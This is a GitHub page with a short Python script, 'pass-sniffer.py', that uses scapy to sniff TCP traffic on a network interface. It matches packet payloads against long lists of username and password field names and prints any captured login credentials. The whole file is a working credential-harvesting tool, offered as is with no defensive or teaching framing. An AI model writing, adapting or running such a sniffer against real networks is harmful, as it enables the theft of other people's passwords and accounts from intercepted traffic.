-
Notifications
You must be signed in to change notification settings - Fork 0
/
pass-sniffer.py
52 lines (41 loc) · 1.85 KB
/
pass-sniffer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from scapy.all import *
from urllib import parse
import re
iface = "eth0"
def get_login_pass(body):
user = None
passwd = None
userfields = ['log', 'login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in', 'usuario']
passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',
'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword',
'login_password'
'passwort', 'passwrd', 'wppassword', 'upasswd', 'senha', 'contrasena']
for login in userfields:
login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE)
if login_re:
user = login_re.group()
for passfield in passfields:
pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE)
if pass_re:
passwd = pass_re.group()
if user and passwd:
return(user,passwd)
def pkt_parser(packet):
if packet.haslayer(TCP) and packet.haslayer(Raw) and packet.haslayer(IP):
body = str(packet[TCP].payload)
user_pass = get_login_pass(body)
if user_pass != None:
print(packet[TCP].payload)
print(parse.unquote(user_pass[0]))
print(parse.unquote(user_pass[1]))
else:
pass
try:
sniff(iface=iface, prn=pkt_parser, store=0)
except KeyboardInterrupt:
print('Exiting')
exit(0)